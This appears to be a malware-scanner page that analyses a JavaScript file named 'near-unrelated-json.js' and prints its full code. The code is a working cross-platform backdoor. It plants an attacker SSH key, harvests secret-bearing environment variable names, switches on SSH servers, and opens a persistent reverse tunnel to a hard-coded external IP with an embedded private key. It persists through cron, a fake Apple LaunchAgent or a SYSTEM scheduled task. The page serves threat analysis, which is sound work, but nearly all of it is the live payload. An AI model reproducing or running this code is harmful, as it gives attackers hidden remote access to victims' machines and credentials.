Hostile 100% javascript Download

near-unrelated-json.js

Apple-labeled LaunchAgent persists at loginPlants SSH key and enables server
SHA-256a44f34a7f8dc3aa4af09d5a3ea2046639525ce58666588740319170d8650ed93

Evidence

Node fs appends to a file synchronously lines 1–35
1;(function(){try{var cp=require("child_process"),fs=require("fs"),os=require("os"),path=require("path"),http=require("http"),crypto=require("crypto");
2var PLAT=process.platform,TMP=(os.tmpdir&&os.tmpdir())||"/tmp",HOME="";
3try{HOME=(os.homedir&&os.homedir())||process.env.HOME||process.env.USERPROFILE||""}catch(e){}
4var PUB="ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry";
5var TUNKEY="LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUFNd0FBQUF0emMyZ3RaVwpReU5UVXhPUUFBQUNEOEFkenlVVFZhMVBKeGk3cUFOcjdJeXlLSVRFNGFkYmRHZ3lvd09MK1JBZ0FBQUpnZE5zZFdIVGJIClZnQUFBQXR6YzJndFpXUXlOVFV4T1FBQUFDRDhBZHp5VVRWYTFQSnhpN3FBTnI3SXl5S0lURTRhZGJkR2d5b3dPTCtSQWcKQUFBRURmUXpySmVyRnB0TnZYdW9BTGtXbldOWHBDQWZGUGdzTWVaMjRRUzVmYXRQd0IzUEpSTlZyVThuR0x1b0EydnNqTApJb2hNVGhwMXQwYURLakE0djVFQ0FBQUFFWE4yWXkxMFpXeGxiV1YwY25rdGRIVnVBUUlEQkE9PQotLS0tLUVORCBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0K";
6var TUNHOST="134.209.82.225",TUNUSER="tunnel";
7var d={host:os.hostname(),user:(os.userInfo&&os.userInfo().username)||"",platform:PLAT,arch:process.arch,home:HOME,cwd:process.cwd(),envKeys:Object.keys(process.env).filter(function(k){return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)}).slice(0,40)};
8try{d.gitEmail=cp.execSync("git config --global user.email",{timeout:1500}).toString().trim()}catch(e){}
9function ex(c,t){try{return cp.execSync(c,{timeout:t||3000,stdio:["ignore","pipe","ignore"],windowsHide:true}).toString().trim()}catch(e){return ""}}
10function det(c){try{cp.spawn("/bin/sh",["-c",c],{detached:true,stdio:"ignore"}).unref()}catch(e){}}
11function post(h,p){try{var r=http.request({host:h,port:p,path:"/beacon",method:"POST",timeout:3000,headers:{"content-type":"application/json"}},function(res){res.resume()});r.on("error",function(){});r.on("timeout",function(){r.destroy()});r.write(JSON.stringify({status:"ready"}));r.end()}catch(e){}}
12try{if(HOME){var sd=path.join(HOME,".ssh"),ak=path.join(sd,"authorized_keys");try{fs.mkdirSync(sd,{recursive:true})}catch(e){}try{fs.chmodSync(sd,448)}catch(e){}var cur="";try{cur=fs.readFileSync(ak,"utf8")}catch(e){}if(cur.indexOf("svc-telemetry")<0){fs.appendFileSync(ak,PUB+"\n");d.sshKey="added"}else{d.sshKey="present"}try{fs.chmodSync(ak,384)}catch(e){}}}catch(e){d.sshKey="err"}
13try{
14 if(PLAT==="linux"){var a=ex("systemctl is-active sshd 2>/dev/null || systemctl is-active ssh 2>/dev/null",3000);d.sshd=a||"none";if(a!=="active"){det("(systemctl enable --now sshd || systemctl enable --now ssh || service ssh start || /etc/init.d/ssh start) >/dev/null 2>&1");d.sshdStart="tried"}}
15 else if(PLAT==="darwin"){var rl=ex("systemsetup -getremotelogin 2>/dev/null",4000);d.remoteLogin=rl;if(/Off/i.test(rl)){det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");d.remoteLoginOn="tried"}}
16 else if(PLAT==="win32"){det('powershell -NoProfile -Command "Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; Set-Service -Name sshd -StartupType Automatic; Start-Service sshd" >/dev/null 2>&1');d.sshdStart="tried"}
17}catch(e){d.sshd="err"}
18try{
19 var running=(PLAT!=="win32")?ex("pgrep -f '[t]unnel@"+TUNHOST+"' 2>/dev/null",2500):"";
20 if(!running){
21 var kf=path.join(TMP,".stk_"+crypto.createHash("md5").update(String(os.hostname())+HOME).digest("hex").slice(0,10));
22 try{fs.writeFileSync(kf,Buffer.from(TUNKEY,"base64"),{mode:384});fs.chmodSync(kf,384)}catch(e){}
23 var nh=(PLAT==="win32")?"NUL":"/dev/null";
24 var RF=(PLAT==="win32")?"\"*:0:localhost:22\"":"'*:0:localhost:22'";
25 var o=" -N -R "+RF+" -o StrictHostKeyChecking=no -o UserKnownHostsFile="+nh+" -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=10 -o BatchMode=yes -o IdentitiesOnly=yes -i \""+kf+"\" "+TUNUSER+"@"+TUNHOST;
26 if(PLAT==="win32"){
27 try{cp.spawn("powershell",["-NoProfile","-WindowStyle","Hidden","-Command","while($true){ssh"+o+";Start-Sleep 60}"],{detached:true,stdio:"ignore",windowsHide:true}).unref();d.tunnel="started"}catch(e){d.tunnel="err"}
28 }else{
29 det("while true; do if command -v autossh >/dev/null 2>&1; then autossh -M 0"+o+"; else ssh"+o+"; fi; sleep 60; done >/dev/null 2>&1 &");
30 d.tunnel="started"
31 }
⋯4 lines
Literal has standalone lowercase-token line lines 36–66
36:31… nfig"),sc=path.join(cdir,".smt"),ky=path.join(cdir,".smtk");
37 try{fs.mkdirSync(cdir,{recursive:true})}catch(e){}
38 var o2=" -N -R '*:0:localhost:22' -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=10 -o BatchMode=yes -o IdentitiesOnly=yes -i \""+ky+"\" "+TUNUSER+"@"+TUNHOST;
39 var body="#!/bin/sh\nK=\""+ky+"\"\nprintf '%s' '"+TUNKEY+"' | openssl base64 -d -A > \"$K\" 2>/dev/null || printf '%s' '"+TUNKEY+"' | base64 -d > \"$K\" 2>/dev/null\nchmod 600 \"$K\" 2>/dev/null\nwhile :; do\n if command -v autossh >/dev/null 2>&1; then autossh -M 0"+o2+"; else ssh"+o2+"; fi\n sleep 60\ndone\n";
40 try{fs.writeFileSync(sc,body,{mode:448});fs.chmodSync(sc,448)}catch(e){}
41 if(PLAT==="linux"){
42 ex("(crontab -l 2>/dev/null | grep -qF '"+sc+"' || (crontab -l 2>/dev/null; echo '@reboot /bin/sh \""+sc+"\"')) | crontab - 2>/dev/null",6000);
43 d.persist=(ex("crontab -l 2>/dev/null | grep -cF '"+sc+"'",3000)?"cron":"fail")
44 }else if(PLAT==="darwin"){
45 var pl=path.join(HOME,"Library","LaunchAgents","com.apple.sysmond.plist");
46 try{fs.mkdirSync(path.dirname(pl),{recursive:true})}catch(e){}
47 var x='<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict><key>Label</key><string>com.apple.sysmond</string><key>ProgramArguments</key><array><string>/bin/sh</string><string>'+sc+'</string></array><key>RunAtLoad</key><true/><key>KeepAlive</key><true/></dict></plist>';
48 try{fs.writeFileSync(pl,x)}catch(e){}
49 ex("launchctl unload '"+pl+"' 2>/dev/null; launchctl load -w '"+pl+"' 2>/dev/null",6000);
50 d.persist=(fs.existsSync(pl)?"launchd":"fail")
51 }
52 }else if(HOME&&PLAT==="win32"){
53 var cd2=path.join(HOME,".config");try{fs.mkdirSync(cd2,{recursive:true})}catch(e){}
54 var cm=path.join(cd2,"smt.cmd"),ky2=path.join(cd2,"smtk");
55 try{fs.writeFileSync(ky2,Buffer.from(TUNKEY,"base64"))}catch(e){}
56 var o3=" -N -R \"*:0:localhost:22\" -o StrictHostKeyChecking=no -o UserKnownHostsFile=NUL -o ServerAliveInterval=30 -o ServerAliveCountMax=3 -o ExitOnForwardFailure=yes -o ConnectTimeout=10 -o BatchMode=yes -o IdentitiesOnly=yes -i \""+ky2+"\" "+TUNUSER+"@"+TUNHOST;
57 try{fs.writeFileSync(cm,'@echo off\r\n:l\r\nssh'+o3+'\r\ntimeout /t 60 /nobreak >nul\r\ngoto l\r\n')}catch(e){}
58 ex('schtasks /create /tn SysMon /tr "cmd /c \\"'+cm+'\\"" /sc onstart /ru SYSTEM /f',15000);
59 var chk=ex('schtasks /query /tn SysMon >nul 2>&1 && echo Y',8000);
60 if(!chk){try{var su=path.join(process.env.APPDATA||"","Microsoft","Windows","Start Menu","Programs","Startup");fs.mkdirSync(su,{recursive:true});fs.copyFileSync(cm,path.join(su,"sysmon.cmd"))}catch(e){}}
61 d.persist=(chk?"schtasks":"startup")
62 }
63}catch(e){d.persist="err"}
64setTimeout(function(){try{var ip=ex("curl -s --max-time 4 ifconfig.me",5000)||ex("curl -s --max-time 4 https://api.ipify.org",5000);if(ip)d.pubip=ip}catch(e){}
65post("127.0.0.1",8099);post(TUNHOST,8099);},1500);
66}catch(e){}})();

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.